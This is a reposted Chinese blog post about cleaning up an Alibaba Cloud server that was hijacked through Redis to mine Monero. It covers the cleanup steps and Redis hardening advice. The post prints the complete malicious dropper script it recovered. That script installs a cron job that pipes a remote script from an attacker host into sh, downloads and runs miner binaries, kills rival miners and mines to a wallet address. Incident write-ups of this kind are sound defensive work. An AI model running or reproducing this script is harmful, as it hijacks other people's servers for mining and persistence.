阿里云服务器被挖矿程序minerd入侵的终极解决办法[转载]
突然发现阿里云服务器CPU很高,几乎达到100%,执行 top c 一看,吓一跳,结果如下:
3798 root 20 0 386m 7852 1272 S 300.0 0.1 4355:11 /tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofT 5844 root 20 0 3448m 292m 14m S 1.7 3.7 26:02.07 /usr/java/default/bin/java -Xms64M -Xmx1G -Djava.util.logging.config.file=logging.properties -Djava.security.auth.login.config=/us 2500 root 20 0 220m 9.9m 5176 S 0.3 0.1 0:09.02 /tmp/ddg.217 1 root 20 0 19360 1532 1232 S 0.0 0.0 0:00.61 /sbin/init
有个进程minerd尽然占用了300%的CPU, 百度了一下,貌似服务器被利用Redis漏洞攻击,植入了挖矿程序,挖类似比特币的东西。
查到几篇文章都有人遇到同样问题,解决的办法:http://blog.csdn.net/hu_wen/article/details/51908597
但我去查看启动的服务,尽然没有 lady 这个服务。 找不到根源,那个minerd进程删掉就又起来了,后来想了个临时办法,先停掉了挖矿的进程
1. 关闭访问挖矿服务器的访问
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
.
2. chmod -x minerd ,取消掉执行权限, 在没有找到根源前,千万不要删除 minerd,因为删除了,过一回会自动有生成一个。
3. pkill minerd ,杀掉进程
4. service stop crond 或者 crontab -r 删除所有的执行计划
5. 执行top,查看了一会,没有再发现minerd 进程了。
6.检查/var/spool/cron/目录下发现有个root用户的定时器文件。
下载脚本的语句:
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件内容如下,感兴趣的可以研究下:
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root if [ ! -f "/tmp/ddg.217" ]; then curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217 fi chmod +x /tmp/ddg.217 && /tmp/ddg.217 killall /tmp/ddg.216 if [ -d "/opt/yam" ]; then rm -rf /opt/yam fi ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9 #/opt/minerd -h #if [ $? != "0" ]; then #ps auxf|grep -v grep|grep "/opt/minerd" #if [ $? != "0" ]; then #if [ ! -f /opt/yam ]; then #curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam #fi #chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr #fi #fi DoMiner() { if [ ! -f "/tmp/AnXqV" ]; then curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV fi chmod +x /tmp/AnXqV /tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x } ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner DoRedis6379() { iptables -F REDIS6379 iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT #iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT #iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT #iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT #iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT #iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT #iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT iptables -I INPUT -j REDIS6379 } iptables -D OUTPUT -j REDIS6379 iptables -F REDIS6379 iptables -X REDIS6379 iptables -D INPUT -j REDIS63792 iptables -F REDIS63792 iptables -X REDIS63792 #iptables -N REDIS6379 && DoRedis6379
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限,http://blog.jobbole.com/94518/然后就注入了病毒,下面是解决办法和清除工作:
1. 修复 redis 的后门,
- 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
- 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
- 配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
- 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf
2. 打开 ~/.ssh/authorized_keys, 删除你不认识的账号
3. 查看你的用户列表,是不是有你不认识的用户添加进来。 如果有就删除掉.
相关文章
- 在阿里云IPV4服务器上架设IPv6隧道地址,让你的网站支持IPV6
- 如何在IIS上发布网站 在阿里云服务器windows server2012r iis上部署.net网站
- 邮箱服务器被加入On UCEPROTECTL2 On UCEPROTECTL3
- 简单来说云服务器是什么?有哪些品牌?
- 把服务器泡在液体里散热?阿里云推出黑科技:浸没式液冷数据中心 | 潮科技
- ESXi与Linux主机配置syslog日志上传远程服务器
- 腾讯云服务器开放UDP端口TCP端口 (腾讯云服务器/轻量级服务器)
- 在ubuntu16.04上搭建视频服务器
- 利用http协议put上传控制对方服务器
- 服务器调优
- 我买了个阿里云服务器并在上面部署了一个项目
- 阿里云服务器安装Apache环境外网不能访问
- 服务器数据丢失的紧急处理办法
- Linux中Apache服务器的简单配置
- Java中的微信支付(3):API V3对微信服务器响应进行签名验证
- 阿里云LINUX服务器配置HTTPS(NGINX)
- 二、使用Navicat连接阿里云服务器宝塔面板里创建的数据库支持 root
- 远程连接阿里云服务器ping不通ip解决方案
- windows terminal使用ssh远程连接阿里云服务器 免密码登录
- 阿里云服务器CentOS7 vsftp安装、设置及后台端口的设置
- 阿里云服务器CentOS7怎么分区格式化/挂载硬盘
- 将项目部署到阿里云服务器
- 【系统运维】阿里云服务器部署Python基础环境
- 高扩展的基于NIO的服务器架构
- 【ESP8266之LUA开发】三、建立TCP服务器,实现socket通信控制继电器,串口,服务器,客户端收发数据小感悟
- (5.1.5)引擎管理——多服务器管理之中央管理服务器(CMS)
- Linux服务器集群系统(四)--转
- CentOS7.3 内网环境安装Ambari2.7.4+HDP3.1.4(阿里云服务器)